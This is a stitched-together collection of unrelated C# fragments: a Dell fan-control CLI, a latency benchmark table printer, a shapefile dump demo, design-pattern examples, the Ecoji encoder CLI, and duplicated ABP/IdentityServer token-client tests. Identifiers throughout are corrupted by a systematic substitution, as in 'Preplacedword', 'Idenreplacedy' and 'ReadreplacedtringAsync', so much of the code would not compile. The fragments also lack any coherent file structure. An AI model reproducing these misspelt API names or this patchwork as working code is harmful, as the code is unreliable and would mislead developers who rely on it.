                        fanSelection = BzhFanIndex.Fan2;
                    }
                    else if (args[0] == "rpm-fan3")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan3;
                    }
                    else if (args[0] == "rpm-fan4")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan4;
                    }
                    else if (args[0] == "rpm-fan5")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan5;
                    }
                    else if (args[0] == "rpm-fan6")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan6;
                    }
                    else if (args[0] == "rpm-fan7")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan7;
                    }
                    else if (args[0] == "test")
                    {
                        runTest = true;
                    }
                    else if (args[0] == "test-alt")
                    {
                        runTest = true;
                        useAlternateCommand = true;
                    }
                    else
                    {
                        Usage();
                        return -3;
                    }

                    // Execute request.

                    // Load driver first.
                    if (LoadDriver())
                    {
                        if (disableEcFanControl)
                        {
                            // Disable EC fan control.
                            Console.WriteLine("Attempting to disable EC control of the fan...");

                            bool success = DellSmbiosBzh.DisableAutomaticFanControl(useAlternateCommand);

                            if (!success)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" ...Success.");

                            if (setFansToMax)
                            {
                                // Crank the fans up, for safety.
                                Console.WriteLine("Setting fan 1 speed to maximum...");
                                success = DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level2);
                                if (!success)
                                {
                                    Console.Error.WriteLine("Failed.");
                                }

                                Console.WriteLine("Setting fan 2 speed to maximum...");
                                success = DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level2);
                                if (!success)
                                {
                                    Console.Error.WriteLine("Failed.  (Maybe your system just has one fan?)");
                                }
                            }
                            else
                            {
                                Console.WriteLine("WARNING: CPU and GPU are not designed to run under load without active cooling.");
                                Console.WriteLine("Make sure that you have alternate fan speed control measures in place.");
                            }
                        }
                        else if (enableEcFanControl)
                        {
                            // Enable EC fan control.
                            Console.WriteLine("Attempting to enable EC control of the fan...");

                            bool success = DellSmbiosBzh.EnableAutomaticFanControl(useAlternateCommand);

                            if (!success)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" ...Success.");
                        }
                        else if (setFanLevel)
                        {
                            // Set the fan to a specific level.
                            Console.WriteLine("Attempting to set the fan level...");
                            bool success = DellSmbiosBzh.SetFanLevel(fanSelection, fanLevel);

                            if (!success)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" ...Success.");
                        }
                        else if (getFanRpm)
                        {
                            // Query the fan RPM.
                            Console.WriteLine("Attempting to query the fan RPM...");
                            uint? result = DellSmbiosBzh.GetFanRpm(fanSelection);

                            if (result == null)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" Result: {0}", result);
                            if (result < int.MaxValue)
                            {
                                returnCode = int.Parse(result.ToString());
                            }
                            else
                            {
                                Console.WriteLine(" (Likely error)");
                                returnCode = -1;
                            }
                        }
                        else if (runTest)
                        {
                            // Test all of the fan levels and report RPMs.

                            uint? rpmIdleFan1;
                            uint? rpmLevel0Fan1;
                            uint? rpmLevel1Fan1;
                            uint? rpmLevel2Fan1;

                            uint? rpmIdleFan2 = null;
                            uint? rpmLevel0Fan2 = null;
                            uint? rpmLevel1Fan2 = null;
                            uint? rpmLevel2Fan2 = null;

                            int sleepInterval = 7500;
                            bool fan2Present = true;

                            // Disable EC fan control.
                            Console.WriteLine("Disabling EC fan control...");
                            DellSmbiosBzh.DisableAutomaticFanControl(useAlternateCommand);

                            // Query current idle fan levels.
                            rpmIdleFan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);
                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level0);

                            rpmIdleFan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);
                            bool success = DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level0);

                            if (!success)
                            {
                                // No fan 2?
                                fan2Present = false;
                                Console.WriteLine("Looks like fan 2 is not present, system only has one fan?");
                            }

                            // Measure fan 1.
                            Console.WriteLine("Measuring: Fan 1, level 0...");
                            Thread.Sleep(sleepInterval);
                            rpmLevel0Fan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);

                            Console.WriteLine("Measuring: Fan 1, level 1..."); 
                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level1);
                            Thread.Sleep(sleepInterval);
                            rpmLevel1Fan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);

                            Console.WriteLine("Measuring: Fan 1, level 2..."); 
                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level2);
                            Thread.Sleep(sleepInterval);
                            rpmLevel2Fan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);

                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level0);

                            if (fan2Present)
                            {
                                // Measure fan 2.
                                Console.WriteLine("Measuring: Fan 2, level 0...");
                                rpmLevel0Fan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);

                                Console.WriteLine("Measuring: Fan 2, level 1..."); 
                                DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level1);
                                Thread.Sleep(sleepInterval);
                                rpmLevel1Fan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);

                                Console.WriteLine("Measuring: Fan 2, level 2..."); 
                                DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level2);
                                Thread.Sleep(sleepInterval);
                                rpmLevel2Fan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);
                            }

                            // Enable EC fan control.
                            Console.WriteLine("Enabling EC fan control...");
                            DellSmbiosBzh.EnableAutomaticFanControl(useAlternateCommand);

                            Console.WriteLine("Test procedure is finished.");
                            Console.WriteLine();
                            Console.WriteLine();

                            // Output results.
                            Console.WriteLine("Fan 1 initial speed: {0}", rpmIdleFan1);
                            if (fan2Present)
                            {
                                Console.WriteLine("Fan 2 initial speed: {0}", rpmIdleFan2);
                            }
                            Console.WriteLine();

                            Console.WriteLine("Fan 1 level 0 speed: {0}", rpmLevel0Fan1);
                            Console.WriteLine("Fan 1 level 1 speed: {0}", rpmLevel1Fan1);
                            Console.WriteLine("Fan 1 level 2 speed: {0}", rpmLevel2Fan1);
                            Console.WriteLine();

                            if (fan2Present)
                            {
                                Console.WriteLine("Fan 2 level 0 speed: {0}", rpmLevel0Fan2);
                                Console.WriteLine("Fan 2 level 1 speed: {0}", rpmLevel1Fan2);
                                Console.WriteLine("Fan 2 level 2 speed: {0}", rpmLevel2Fan2);
                                Console.WriteLine();
                            }
                        }

                        // Unload driver.
                        UnloadDriver();
                    }
                }
            }
            catch (DllNotFoundException)
            {
                Console.Error.WriteLine("Unable to load DellSmbiosBzh.dll");
                Console.Error.WriteLine("Make sure that the file is present.  If it is, install the required Visual C++ redistributable:");
                Console.Error.WriteLine("https://aka.ms/vs/16/release/vc_redist.x64.exe");
                returnCode = -1;
            }
            catch (Exception exception)
            {
                Console.Error.WriteLine("Error: {0}", exception.Message);
                Console.Error.WriteLine(exception.StackTrace);
                returnCode = -1;
                UnloadDriver();
            }

            return returnCode;
        }

public static void PrintSummary(string replacedle, params (string name, SimpleLatencyBenchmarkResult result)[] results)
        {
            Console.WriteLine(replacedle);
            Console.WriteLine(String.Join("", Enumerable.Range(0, replacedle.Length).Select(_ => "=")));
            Console.WriteLine();

            Console.WriteLine("+------------+--------+--------+--------+------------+------------+------------+------------+------------+------------+------------+");
            Console.WriteLine("| Test       |   Mean | Median |    P90 |        P95 |        P99 |      P99.9 |     P99.99 |    P99.999 |        Max |   GC Count |");
            Console.WriteLine("+------------+--------+--------+--------+------------+------------+------------+------------+------------+------------+------------+");

            foreach (var (name, result) in results)
            {
                var histo = Concatenate(result.ExecutionTimes);

                Console.WriteLine($"| {name,-10} | {histo.GetMean(),6:N0} | {histo.GetValueAtPercentile(50),6:N0} | {histo.GetValueAtPercentile(90),6:N0} | {histo.GetValueAtPercentile(95),10:N0} | {histo.GetValueAtPercentile(99),10:N0} | {histo.GetValueAtPercentile(99.9),10:N0} | {histo.GetValueAtPercentile(99.99),10:N0} | {histo.GetValueAtPercentile(99.999),10:N0} | {histo.GetMaxValue(),10:N0} | {result.CollectionCount,10:N0} |");
            }

            Console.WriteLine("+------------+--------+--------+--------+------------+------------+------------+------------+------------+------------+------------+");
        }

static void Main(string[] args)
        {
            // Preplaced the path to the shapefile in as the command line argument
            if ((args.Length == 0) || (!File.Exists(args[0])))
            {
                Console.WriteLine("Usage: ShapefileDemo <shapefile.shp>");
                return;
            }

            // construct shapefile with the path to the .shp file
            using (Shapefile shapefile = new Shapefile(args[0]))
            {
                Console.WriteLine("ShapefileDemo Dumping {0}", args[0]);
                Console.WriteLine();

                // a shapefile contains one type of shape (and possibly null shapes)
                Console.WriteLine("Type: {0}, Shapes: {1:n0}", shapefile.Type, shapefile.Count);

                // a shapefile also defines a bounding box for all shapes in the file
                Console.WriteLine("Bounds: {0},{1} -> {2},{3}",
                    shapefile.BoundingBox.Left,
                    shapefile.BoundingBox.Top,
                    shapefile.BoundingBox.Right,
                    shapefile.BoundingBox.Bottom);
                Console.WriteLine();

                // enumerate all shapes
                foreach (Shape shape in shapefile)
                {
                    Console.WriteLine("----------------------------------------");
                    Console.WriteLine("Shape {0:n0}, Type {1}", shape.RecordNumber, shape.Type);

                    // each shape may have replacedociated metadata
                    string[] metadataNames = shape.GetMetadataNames();
                    if (metadataNames != null)
                    {
                        Console.WriteLine("Metadata:");
                        foreach (string metadataName in metadataNames)
                        {
                            Console.WriteLine("{0}={1} ({2})", metadataName, shape.GetMetadata(metadataName), shape.DataRecord.GetDataTypeName(shape.DataRecord.GetOrdinal(metadataName)));
                        }
                        Console.WriteLine();
                    }

                    // cast shape based on the type
                    switch (shape.Type)
                    {
                        case ShapeType.Point:
                            // a point is just a single x/y point
                            ShapePoint shapePoint = shape as ShapePoint;
                            Console.WriteLine("Point={0},{1}", shapePoint.Point.X, shapePoint.Point.Y);
                            break;

                        case ShapeType.Polygon:
                            // a polygon contains one or more parts - each part is a list of points which
                            // are clockwise for boundaries and anti-clockwise for holes 
                            // see http://www.esri.com/library/whitepapers/pdfs/shapefile.pdf
                            ShapePolygon shapePolygon = shape as ShapePolygon;
                            foreach (PointD[] part in shapePolygon.Parts)
                            {
                                Console.WriteLine("Polygon part:");
                                foreach (PointD point in part)
                                {
                                    Console.WriteLine("{0}, {1}", point.X, point.Y);
                                }
                                Console.WriteLine();
                            }
                            break;

                        default:
                            // and so on for other types...
                            break;
                    }

                    Console.WriteLine("----------------------------------------");
                    Console.WriteLine();
                }

            }

            Console.WriteLine("Done");
            Console.WriteLine();
        }

private static void Main()
        {
            var remote = new RemoteControl(3);


            var bike = new Garage("Bike");
            var bikeDoorClose = new GarageDoorCloseCommand(bike);
            var bikeDoorOpen = new GarageDoorOpenCommand(bike);

            var car = new Garage("Car");
            var carDoorClose = new GarageDoorCloseCommand(car);
            var carDoorOpen = new GarageDoorOpenCommand(car);

            var garageButton = new OnOffStruct
            {
                On = bikeDoorOpen,
                Off = bikeDoorClose
            };

            remote[0] = garageButton;
            remote.PushOn(0);
            remote.PushUndo();
            remote.PushUndo();
            remote.PushOff(0);


            Console.WriteLine();
            var light = new Light("Hall");

            ICommand[] partyOn = { new LightOffCommand(light), bikeDoorOpen, carDoorOpen };
            ICommand[] partyOff = { new LightOnCommand(light), bikeDoorClose, carDoorClose };


            remote[2] = new OnOffStruct { On = new MacroCommand(partyOn), Off = new MacroCommand(partyOff) };

            try
            {
                remote.PushOn(2);
                Console.WriteLine();
                remote.PushOff(2);
            }
            catch (Exception)
            {
                Console.WriteLine("Oops");
            }
        }

public override void Print()
        {
            Console.WriteLine(Name);
            Console.WriteLine("___________");
            foreach (var menuComponent in _components)
            {
                menuComponent.Print();
            }
            Console.WriteLine();
        }

private static void Main()
        {
            var dimmer = new Dimmer();
            var dvdPlayer = new DvdPlayer();
            var dvd = new Dvd("Gone with the Wind 2 : Electric Bugaloo");
            var homeTheater = new HomeTheatreFacade(dimmer, dvd, dvdPlayer);

            homeTheater.WatchMovie();
            Console.WriteLine();
            homeTheater.Pause();
            Console.WriteLine();
            homeTheater.Resume();
            Console.WriteLine();
            homeTheater.Pause();
        }

internal override void Prepare()
        {
            Console.WriteLine("Preparing " + Name + " Using");
            Console.Write("Dough: " + _ingredients.CreateDough().Name + ", Cheese: " + _ingredients.CreateCheese().Name + ", Sauce: " + _ingredients.CreateSauce().Name + ", Veggies: ");
            Console.WriteLine();
            foreach (var val in _ingredients.CreateVeggies())
            {
                Console.Write(val.Name + " ");
            }
            Console.WriteLine();
        }

internal override void Prepare()
        {
            Console.WriteLine("Preparing " + Name + " Using");
            Console.Write("Dough: " + _ingredients.CreateDough().Name + ", Clam: " + _ingredients.CreateClam().Name + ", Sauce: " + _ingredients.CreateSauce().Name + ", Cheese: " + _ingredients.CreateCheese().Name);
            Console.WriteLine();

        }

static void Main()
        {
            Console.WriteLine("Yankees fan orders:");
            var yankees = new NyPizzaFactory();
            yankees.Order("Cheese");
            Console.WriteLine();
            Console.WriteLine("Cubs fan orders:");
            var cubs = new ChicagoPizzaFactory();
            cubs.Order("Clam");
        }

public void OnNext(Weather value)
        {
            Console.WriteLine(_name);
            if (_name.Contains("T"))
            {
                string op = $"| Temperature : {value.Temperature} Celsius |";
                Console.Write(op);

            }
            if (_name.Contains("P"))
            {
                string op = $"| Pressure : {value.Pressure} atm |";
                Console.Write(op);
            }
            if (_name.Contains("H"))
            {
                string op = $"| Humidity : {value.Humidity * 100} % |";
                Console.Write(op);
            }
            if (!(_name.Contains("T") || _name.Contains("P") || _name.Contains("H")))
            {
                OnError(new Exception());
            }
            Console.WriteLine();
        }

public static void Main()
        {
            LegacyTest();
            Console.WriteLine();
            var gumballmachine = new GumballMachine(5);
            gumballmachine.InsertQuarter();
            gumballmachine.TurnCrank();
            gumballmachine.InsertQuarter();
            gumballmachine.TurnCrank();
        }

static void Main()
        {
            var tea = new Tea();
            var coffee = new Coffee();
            tea.WantsCondiments = true;
            tea.AddSugar = 5;
            tea.Prepare();

            Console.WriteLine();
            coffee.WantsCondiments = true;
            coffee.Prepare();

            var people = new List<Person> { new Person("Ram", 25), new Person("Abishek", 12), new Person("Ram", 18), new Person("Abishek", 18) };
            foreach (var person in people)
            {
                Console.Write(person);
            }
            people.Sort();
            Console.WriteLine();
            foreach (var person in people)
            {
                Console.Write(person);
            }
        }

static int Main(string[] args)
    {
        var decode = false;
        var wrap = 76;
        var showHelp = false;
        var showVersion = false;

        var options = new OptionSet
        {
            { "usage: ecoji [OPTIONS]... [FILE]" },
            { "" },
            { "Encode or decode data as Unicode emojis. 😻🍹" },
            { "" },
            { "Options:" },
            {
                "d|decode",
                "Decode data.",
                v => decode = v != null
            },
            {
                "w|wrap=",
                "Wrap encoded lines after {COLS} characters (default 76). " +
                    "Use 0 to disable line wrapping.",
                (int v) => wrap = v
            },
            {
                "h|help",
                "Print this message.",
                v => showHelp = v != null
            },
            {
                "v|version",
                "Print version information.",
                v => showVersion = v != null
            }
        };

        void ShowHelp()
            => options.WriteOptionDescriptions(Console.Out);

        void ShowVersion()
        {
            Console.WriteLine($"Ecoji (.NET Core) version {version}");
            Console.WriteLine($"  Copyright   : {copyright}");
            Console.WriteLine($"  License     : MIT");
            Console.WriteLine($"  Source code : https://github.com/abock/dotnet-ecoji");
            Console.WriteLine();
            Console.WriteLine($"Based on Ecoji by Keith Turner:");
            Console.WriteLine($"  https://github.com/keith-turner/ecoji");
        }

        try
        {
            var positional = options.Parse(args);

            if (showHelp)
            {
                ShowHelp();
                return ExitShowHelp;
            }

            if (showVersion)
            {
                ShowVersion();
                return ExitShowVersion;
            }

            Stream inputStream;

            if (positional is null ||
                positional.Count == 0 ||
                positional[0] == "-")
                inputStream = Console.OpenStandardInput();
            else if (positional.Count == 1)
                inputStream = new FileStream(
                    positional[0],
                    FileMode.Open,
                    FileAccess.Read);
            else
                throw new Exception("more than one file was provided");

            try
            {
                using(inputStream)
                {
                    if (decode)
                    {
                        using var stdout = Console.OpenStandardOutput();
                        Ecoji.Decode(inputStream, stdout);
                    }
                    else
                    {
                        Ecoji.Encode(inputStream, Console.Out, wrap);
                    }
                }
            }
            catch (Exception e)
            {
                WriteError($"pipe or encoding/decoding error: {e}");
                return ExitDataError;
            }

            return ExitSuccess;
        }
        catch (Exception e)
        {
            WriteError(e.Message);
            ShowHelp();
            return ExitArgumentsError;
        }
        
        static void WriteError(string error)
        {
            Console.ForegroundColor = ConsoleColor.DarkRed;
            Console.Error.WriteLine($"error: {error}");
            Console.Error.WriteLine();
            Console.ResetColor();
        }
    }

private async Task TestWithHttpClientAndIdenreplacedyModelAuthenticationServiceAsync()
        {
            Console.WriteLine();
            Console.WriteLine($"***** {nameof(TestWithHttpClientAndIdenreplacedyModelAuthenticationServiceAsync)} *****");

            //Get access token using ABP's IIdenreplacedyModelAuthenticationService

            var accessToken = await _authenticationService.GetAccessTokenAsync(
                new IdenreplacedyClientConfiguration(
                    _configuration["IdenreplacedyClients:Default:Authority"],
                    _configuration["IdenreplacedyClients:Default:Scope"],
                    _configuration["IdenreplacedyClients:Default:ClientId"],
                    _configuration["IdenreplacedyClients:Default:ClientSecret"],
                    _configuration["IdenreplacedyClients:Default:GrantType"],
                    _configuration["IdenreplacedyClients:Default:UserName"],
                    _configuration["IdenreplacedyClients:Default:UserPreplacedword"]
                )
            );

            //Perform the actual HTTP request

            using (var httpClient = new HttpClient())
            {
                httpClient.SetBearerToken(accessToken);

                var url = _configuration["RemoteServices:OrderingService:BaseUrl"] +
                          "api/OrderingService/sample/authorized";

                var responseMessage = await httpClient.GetAsync(url);
                if (responseMessage.IsSuccessStatusCode)
                {
                    var responseString = await responseMessage.Content.ReadreplacedtringAsync();
                    Console.WriteLine("Result: " + responseString);
                }
                else
                {
                    throw new Exception("Remote server returns error code: " + responseMessage.StatusCode);
                }
            }
        }

private async Task TestAllManuallyAsync()
        {
            Console.WriteLine();
            Console.WriteLine($"***** {nameof(TestAllManuallyAsync)} *****");

            //Obtain access token from the IDS4 server

            // discover endpoints from metadata
            var client = new HttpClient();
            var disco = await client.GetDiscoveryDoreplacedentAsync(_configuration["IdenreplacedyClients:Default:Authority"]);
            if (disco.IsError)
            {
                Console.WriteLine(disco.Error);
                return;
            }

            // request token
            var tokenResponse = await client.RequestPreplacedwordTokenAsync(new PreplacedwordTokenRequest
            {
                Address = disco.TokenEndpoint,
                ClientId = _configuration["IdenreplacedyClients:Default:ClientId"],
                ClientSecret = _configuration["IdenreplacedyClients:Default:ClientSecret"],
                UserName = _configuration["IdenreplacedyClients:Default:UserName"],
                Preplacedword = _configuration["IdenreplacedyClients:Default:UserPreplacedword"],
                Scope = _configuration["IdenreplacedyClients:Default:Scope"]
            });

            if (tokenResponse.IsError)
            {
                Console.WriteLine(tokenResponse.Error);
                return;
            }

            Console.WriteLine(tokenResponse.Json);

            //Perform the actual HTTP request

            using (var httpClient = new HttpClient())
            {
                httpClient.SetBearerToken(tokenResponse.AccessToken);

                var url = _configuration["RemoteServices:PaymentService:BaseUrl"] +
                          "api/PaymentService/sample/authorized";

                var responseMessage = await httpClient.GetAsync(url);
                if (responseMessage.IsSuccessStatusCode)
                {
                    var responseString = await responseMessage.Content.ReadreplacedtringAsync();
                    Console.WriteLine("Result: " + responseString);
                }
                else
                {
                    throw new Exception("Remote server returns error code: " + responseMessage.StatusCode);
                }
            }
        }

private async Task TestWithDynamicProxiesAsync()
        {
            Console.WriteLine();
            Console.WriteLine($"***** {nameof(TestWithDynamicProxiesAsync)} *****");

            var result = await _sampleAppService.GetAsync();
            Console.WriteLine("Result: " + result.Value);

            result = await _sampleAppService.GetAuthorizedAsync();
            Console.WriteLine("Result (authorized): " + result.Value);
        }

private async Task TestWithHttpClientAndIdenreplacedyModelAuthenticationServiceAsync()
        {
            Console.WriteLine();
            Console.WriteLine($"***** {nameof(TestWithHttpClientAndIdenreplacedyModelAuthenticationServiceAsync)} *****");

            //Get access token using ABP's IIdenreplacedyModelAuthenticationService

            var accessToken = await _authenticationService.GetAccessTokenAsync(
                new IdenreplacedyClientConfiguration(
                    _configuration["IdenreplacedyClients:Default:Authority"],
                    _configuration["IdenreplacedyClients:Default:Scope"],
                    _configuration["IdenreplacedyClients:Default:ClientId"],
                    _configuration["IdenreplacedyClients:Default:ClientSecret"],
                    _configuration["IdenreplacedyClients:Default:GrantType"],
                    _configuration["IdenreplacedyClients:Default:UserName"],
                    _configuration["IdenreplacedyClients:Default:UserPreplacedword"]
                )
            );

            //Perform the actual HTTP request

            using (var httpClient = new HttpClient())
            {
                httpClient.SetBearerToken(accessToken);

                var url = _configuration["RemoteServices:Ordering:BaseUrl"] +
                          "api/Ordering/sample/authorized";

                var responseMessage = await httpClient.GetAsync(url);
                if (responseMessage.IsSuccessStatusCode)
                {
                    var responseString = await responseMessage.Content.ReadreplacedtringAsync();
                    Console.WriteLine("Result: " + responseString);
                }
                else
                {
                    throw new Exception("Remote server returns error code: " + responseMessage.StatusCode);
                }
            }
        }

private async Task TestAllManuallyAsync()
        {
            Console.WriteLine();
            Console.WriteLine($"***** {nameof(TestAllManuallyAsync)} *****");

            //Obtain access token from the IDS4 server

            // discover endpoints from metadata
            var client = new HttpClient();
            var disco = await client.GetDiscoveryDoreplacedentAsync(_configuration["IdenreplacedyClients:Default:Authority"]);
            if (disco.IsError)
            {
                Console.WriteLine(disco.Error);
                return;
            }

            // request token
            var tokenResponse = await client.RequestPreplacedwordTokenAsync(new PreplacedwordTokenRequest
            {
                Address = disco.TokenEndpoint,
                ClientId = _configuration["IdenreplacedyClients:Default:ClientId"],
                ClientSecret = _configuration["IdenreplacedyClients:Default:ClientSecret"],
                UserName = _configuration["IdenreplacedyClients:Default:UserName"],
                Preplacedword = _configuration["IdenreplacedyClients:Default:UserPreplacedword"],
                Scope = _configuration["IdenreplacedyClients:Default:Scope"]
            });

            if (tokenResponse.IsError)
            {
                Console.WriteLine(tokenResponse.Error);
                return;
            }

            Console.WriteLine(tokenResponse.Json);

            //Perform the actual HTTP request

            using (var httpClient = new HttpClient())
            {
                httpClient.SetBearerToken(tokenResponse.AccessToken);

                var url = _configuration["RemoteServices:Ordering:BaseUrl"] +
                          "api/Ordering/sample/authorized";

                var responseMessage = await httpClient.GetAsync(url);
                if (responseMessage.IsSuccessStatusCode)
                {
                    var responseString = await responseMessage.Content.ReadreplacedtringAsync();
                    Console.WriteLine("Result: " + responseString);
                }
                else
                {
                    throw new Exception("Remote server returns error code: " + responseMessage.StatusCode);
                }
            }
        }